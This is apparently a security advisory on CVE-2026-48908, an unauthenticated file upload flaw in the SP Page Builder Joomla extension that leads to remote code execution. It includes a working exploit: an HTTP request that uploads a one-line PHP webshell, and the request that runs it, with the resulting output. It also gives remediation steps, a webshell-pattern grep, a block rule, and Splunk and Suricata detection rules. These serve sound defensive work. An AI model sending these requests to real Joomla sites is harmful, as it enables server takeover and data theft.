CVE-2026-48908: JoomShaper SP Page Builder Unauthenticated File Upload to RCE

Background

SP Page Builder is a popular drag-and-drop page building extension for the Joomla content management system, developed by JoomShaper. It is one of the most widely installed third-party Joomla extensions, used to build landing pages, section layouts, and full website templates without custom code. Censys enumeration at the time of disclosure identified approximately 194,793 publicly reachable web properties with SP Page Builder installed — a large exposed population for a critical unauthenticated vulnerability.

CVE-2026-48908 is an unrestricted file upload vulnerability in the SP Page Builder icon font asset upload handler. The endpoint asset.uploadCustomIcon is accessible without authentication on any Joomla site with SP Page Builder installed and enabled. An attacker can upload a PHP file with no session, no Joomla user account, and no administrator access, then request the uploaded file to achieve remote code execution.

CISA added CVE-2026-48908 to the Known Exploited Vulnerabilities catalogue with a July 10, 2026 remediation deadline. Active exploitation has been documented including a multi-stage persistence mechanism that creates rogue Joomla Super User administrator accounts.

Technical Mechanism

The vulnerable endpoint is the custom icon font uploader in SP Page Builder’s asset management system. The component allows site builders to upload custom icon font sets for use in page layouts. The handler at asset.uploadCustomIcon accepts multipart file uploads and writes the uploaded content to:

/media/com_sppagebuilder/assets/iconfont/[folder-name]/fonts/

Under vulnerable versions, the handler performs no validation of the uploaded file’s content type, extension, or magic bytes. An attacker supplies a PHP file with any filename, and the server writes it directly to the target path. The upload directory is web-accessible, meaning the attacker can immediately request the uploaded file and trigger PHP execution.

# Step 1: Upload PHP webshell via unauthenticated asset.uploadCustomIcon endpoint
# No CSRF token, no authentication, no session required

POST /index.php?option=com_sppagebuilder&view=api&format=json&task=asset.uploadCustomIcon HTTP/1.1
Host: target.joomla-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="icon.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="folder"

attacker_folder
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Response (200 OK): {"success":true,"data":{"file":"icon.php","folder":"attacker_folder"}}

# Step 2: Execute the uploaded webshell
GET /media/com_sppagebuilder/assets/iconfont/attacker_folder/fonts/icon.php?cmd=id HTTP/1.1
Host: target.joomla-site.com

# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

A public proof-of-concept was published at github.com/papageo75/CVE-2026-48908-PoC following disclosure, automating the upload and execution steps. The automation makes exploitation trivial even for attackers with no prior knowledge of the vulnerability mechanism.

Persistence mechanism. Observed exploitation in the wild includes a dropper that executes from the initial webshell and implements a two-stage persistence:

1. The dropper reads configuration.php from the Joomla root, extracting database hostname, name, username, and password
2. Using the extracted credentials, the dropper connects directly to the Joomla database and inserts a new Super User record, using a distinctive email pattern of [random]@secure.local
3. The rogue Super User account provides persistent administrative access that survives PHP webshell cleanup and service restarts

The @secure.local email domain in Joomla’s #__users table is the primary forensic indicator of this specific exploitation campaign.

Real-World Exploitation Evidence

CISA’s KEV addition confirms active exploitation at scale. The public PoC accelerated the attack timeline significantly, enabling automated exploitation of vulnerable SP Page Builder installations. Given 194,793 exposed instances, even low-rate scanning campaigns encounter large numbers of vulnerable targets.

Incident response findings from active intrusions include:

• PHP webshells with randomised names placed in the iconfont asset directory
• Rogue Super User accounts with @secure.local email addresses indicating automated dropper execution
• Outbound beacon traffic establishing C2 channels, typically within minutes of successful exploitation
• Installation of cryptocurrency mining software as secondary payload on compromised servers
• Data staging in /tmp or /var/tmp directories prior to exfiltration

The combination of a public PoC, a large number of exposed instances, and a simple two-step exploit makes this vulnerability exceptionally attractive for automated exploitation campaigns.

Impact Assessment

• Unauthenticated RCE — any internet-connected Joomla site running a vulnerable SP Page Builder version is exploitable with no credentials
• Full Joomla compromise — the dropper’s rogue admin account creation gives the attacker complete control of the Joomla backend regardless of whether the initial webshell is found and removed
• Database credential exposure — Joomla’s configuration.php contains database credentials readable by the web server process; these are harvested in automated exploitation
• Downstream database access — extracted database credentials provide direct access to the Joomla database, including all user data, password hashes, and content
• Persistent access — the @secure.local Super User account survives patching if not detected and removed
• Site defacement and malware distribution — compromised Joomla sites are commonly used for SEO spam injection and drive-by malware distribution targeting site visitors

Affected Versions

Remediation Steps

1. Update SP Page Builder to version 5.3.2 via the Joomla Extension Manager:

# Via Joomla CLI (Joomla 4.x and 5.x)
php cli/joomla.php extension:update

# Or download and install manually from JoomShaper
# Extensions > Manage > Update > Find Updates

2. Audit for rogue Super User accounts — immediately check the Joomla user database for accounts with @secure.local or unusual email domains created after the vulnerability disclosure date:

-- Check for rogue admin accounts via Joomla database (MySQL)
SELECT u.id, u.name, u.username, u.email, u.registerDate, u.lastvisitDate
FROM jos_users u
JOIN jos_user_usergroup_map m ON u.id = m.user_id
JOIN jos_usergroups g ON m.group_id = g.id
WHERE g.title = 'Super Users'
ORDER BY u.registerDate DESC;

-- Flag accounts with suspicious email domains
SELECT * FROM jos_users
WHERE email LIKE '%@secure.local'
   OR email LIKE '%@localhost'
   OR email REGEXP '^[a-z0-9]{8,}@[a-z]{3,8}\.(local|internal|corp)$'
ORDER BY registerDate DESC;

3. Scan for webshells in the iconfont directory:

# Find PHP files in the SP Page Builder asset directories
find /var/www/html/media/com_sppagebuilder/ -name "*.php" -type f

# Find files with common webshell patterns
grep -r --include="*.php" "system\s*(\|exec\s*(\|passthru\s*(\|shell_exec\s*(\|eval\s*(\$_" \
  /var/www/html/media/com_sppagebuilder/

# Check modification timestamps for recently created files
find /var/www/html/media/com_sppagebuilder/ -newer /var/www/html/configuration.php -name "*.php"

4. Rotate database credentials — if exploitation is confirmed or suspected, change all database passwords referenced in configuration.php immediately and revoke any direct database access from the web server process beyond what Joomla requires

5. Review Joomla session logs — check #__session table and administrator access logs for sessions associated with rogue Super User accounts; revoke all active sessions for compromised accounts

6. Temporarily block the vulnerable endpoint at the WAF or web server layer as a pre-patch mitigation:

# Nginx: block asset uploadCustomIcon endpoint
location ~* "option=com_sppagebuilder.*task=asset\.uploadCustomIcon" {
    deny all;
    return 403;
}

Detection Guidance

Look for the following indicators of compromise in web server logs, filesystem activity, and database records:

• POST requests to /index.php with option=com_sppagebuilder&view=api&format=json&task=asset.uploadCustomIcon
• PHP files appearing under /media/com_sppagebuilder/assets/iconfont/*/fonts/
• Database records in #__users with email addresses matching *@secure.local or similar internal domain patterns
• configuration.php access from non-Joomla processes (indicates dropper reading DB credentials)
• Outbound connections from the web server process to external IPs on ports 443, 80, 4444 shortly after a POST to the upload endpoint

# Splunk — detect uploads to SP Page Builder vulnerable endpoint
index=webserver sourcetype=access_combined
| where match(uri_query, "(?i)option=com_sppagebuilder.*task=asset\.uploadCustomIcon") AND method="POST"
| stats count, values(src_ip) as source_ips, min(_time) as first_seen, max(_time) as last_seen by host
| where count > 0
| sort -count

# Suricata — detect exploitation attempt against SP Page Builder
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48908 JoomShaper SP Page Builder Unauthenticated File Upload"; flow:established,to_server; content:"POST"; http_method; content:"com_sppagebuilder"; http_uri; content:"uploadCustomIcon"; http_uri; content:"Content-Disposition"; http_client_body; pcre:"/filename=\"[^\"]+\.php\"/i"; http_client_body; sid:2026489081; rev:1;)

alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-48908 JoomShaper Webshell Access - iconfont Directory"; flow:established,to_server; content:"/media/com_sppagebuilder/assets/iconfont/"; http_uri; content:".php"; http_uri; sid:2026489082; rev:1;)

Timeline

References

• NVD — CVE-2026-48908
• CISA KEV — CVE-2026-48908
• JoomShaper SP Page Builder Security Advisory
• Public PoC — github.com/papageo75/CVE-2026-48908-PoC